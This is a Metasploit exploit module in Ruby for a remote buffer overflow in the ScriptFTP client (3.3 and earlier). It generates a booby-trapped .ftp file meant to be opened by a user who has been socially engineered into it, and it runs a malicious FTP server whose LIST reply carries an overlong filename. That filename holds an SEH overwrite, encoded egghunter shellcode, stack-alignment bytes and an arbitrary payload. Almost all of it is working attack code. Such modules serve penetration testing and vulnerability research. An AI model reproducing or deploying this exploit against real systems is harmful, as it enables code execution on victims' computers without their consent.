ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)

##
# $Id: scriptftp_list.rb 13841 2011-10-09 05:36:42Z sinn3r $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

class Metasploit3 < Msf::Exploit::Remote
 Rank = GoodRanking

 include Msf::Exploit::Remote::FtpServer
 include Msf::Exploit::FILEFORMAT
 include Msf::Exploit::Egghunter

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'ScriptFTP <= 3.3 Remote Buffer Overflow (LIST)',
   'Description'    => %q{
     AmmSoft's ScriptFTP client is susceptible to a remote buffer overflow
    vulnerability that is triggered when processing a sufficiently long filename during
    a FTP LIST command resulting in overwriting the exception handler. Social engineering
    of executing a specially crafted ftp file by double click will result in connecting to
    our malcious server and perform arbitrary code execution which allows the attacker
    to gain the same rights as the user running ScriptFTP.
   },
   'License'        => MSF_LICENSE,
   'Version'        => "$Revision: 13841 $",
   'Author'         =>
    [
     'modpr0be', #Vulnerability discovery and original exploit
     'TecR0c <roccogiovannicalvi[at]gmail.com>', # Metasploit module
     'mr_me <steventhomasseeley[at]gmail.com>',  # Metasploit module
    ],
   'References'     =>
    [
     #[ 'CVE', '?' ],
     #[ 'OSVDB', '?' ],
     [ 'URL', 'http://www.exploit-db.com/exploits/17876/' ],
     [ 'URL', 'http://www.kb.cert.org/vuls/id/440219' ],
    ],
   'DefaultOptions' =>
    {
     'EXITFUNC' => 'thread',
     'DisablePayloadHandler' => 'false',
    },
   'Payload'        =>
    {
     'BadChars'        => "\x00\xff\x0d\x5c\x2f\x0a",
     'EncoderType'     => Msf::Encoder::Type::AlphanumMixed,
     'EncoderOptions'  =>
     {
      'BufferRegister' => 'EDI',  # Egghunter jmp edi
     }
    },
   'Platform'       => 'win',
   'Targets'        =>
    [
     # CALL DWORD PTR SS:[EBP-4]
     # scriptftp.exe - File version=Build 3/9/2009
     [ 'Windows XP SP3 / Windows Vista', { 'Offset' => 1746, 'Ret' => "\xd6\x41" } ],
    ],
   'Privileged'     => false,
   'DisclosureDate' => 'Oct 12 2011',
   'DefaultTarget'  => 0))

   register_options(
   [
    OptString.new('FILENAME',   [ true, 'The file name.',  'msf.ftp']),
   ], self.class)

 end

 def setup
  if datastore['SRVHOST'] == '0.0.0.0'
   lhost = Rex::Socket.source_address('50.50.50.50')
  else
   lhost = datastore['SRVHOST']
  end

  ftp_file = "OPENHOST('#{lhost}','ftp','ftp')\r\n"
  ftp_file << "SETPASSIVE(ENABLED)\r\n"
  ftp_file << "GETLIST($list,REMOTE_FILES)\r\n"
  ftp_file << "CLOSEHOST\r\n"

  print_status("Creating '#{datastore['FILENAME']}'...")
  file_create(ftp_file)
  super
 end

 def on_client_unknown_command(c,cmd,arg)
  c.put("200 OK\r\n")
 end

 def on_client_command_list(c,arg)

  conn = establish_data_connection(c)
  if(not conn)
   c.put("425 Can't build data connection\r\n")
   return
  end

  print_status(" - Data connection set up")
  code = 150
  c.put("#{code} Here comes the directory listing.\r\n")

  code = 226
  c.put("#{code} Directory send ok.\r\n")

  eggoptions =
  {
   :checksum => false,
   :eggtag => 'cure'
  }

  hunter, egg = generate_egghunter(payload.encoded, payload_badchars, eggoptions)

  # Encode with alphamixed, then unicode mixed
  [ 'x86/alpha_mixed', 'x86/unicode_mixed' ].each { |name|
   enc = framework.encoders.create(name)
   if name =~ /unicode/
    # aligned to ESP & EAX
    enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EAX' })
   else
    enc.datastore.import_options_from_hash({ 'BufferRegister' => 'EDX' })
   end
   # NOTE: we already eliminated badchars
   hunter = enc.encode(hunter, nil, nil, platform)
   if name =~/alpha/
    #insert getpc_stub & align EDX, unicode encoder friendly.
    #Hardcoded stub is not an issue here because it gets encoded anyway
    getpc_stub = "\x89\xe1\xdb\xcc\xd9\x71\xf4\x5a\x83\xc2\x41\x83\xea\x35"
    hunter = getpc_stub + hunter
   end
  }

  unicode_nop = "\x6d" # DD BYTE PTR DS:[ECX],AL

  nseh = "\x61" << unicode_nop
  seh = target.ret

  alignment = "\x54"  # PUSH ESP
  alignment << unicode_nop
  alignment << "\x58"  # POP EAX
  alignment << unicode_nop
  alignment << "\x05\x12\x11"  # ADD EAX,11001200
  alignment << unicode_nop
  alignment << "\x2d\x01\x01"  # SUB EAX,1000100
  alignment << unicode_nop
  alignment << "\x2d\x01\x10"  # SUB EAX,10000100
  alignment << unicode_nop
  alignment << "\x50"  # PUSH EAX
  alignment << unicode_nop
  alignment << "\xc3"  # RETN

  buffer = rand_text_alpha(656)
  buffer << hunter
  buffer << rand_text_alpha(target['Offset']-buffer.length)
  buffer << nseh
  buffer << seh
  buffer << alignment
  buffer << rand_text_alpha(500)
  buffer << egg

  print_status(" - Sending directory list via data connection")
  dirlist =  "-rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"
  dirlist << "   5 ftpuser  ftpusers       512 Jul 26  2001 A\r\n"
  dirlist << "rwxr-xr-x   5 ftpuser  ftpusers       512 Jul 26  2001 #{buffer}.txt\r\n"

  conn.put(dirlist)
  conn.close
  return
 end

end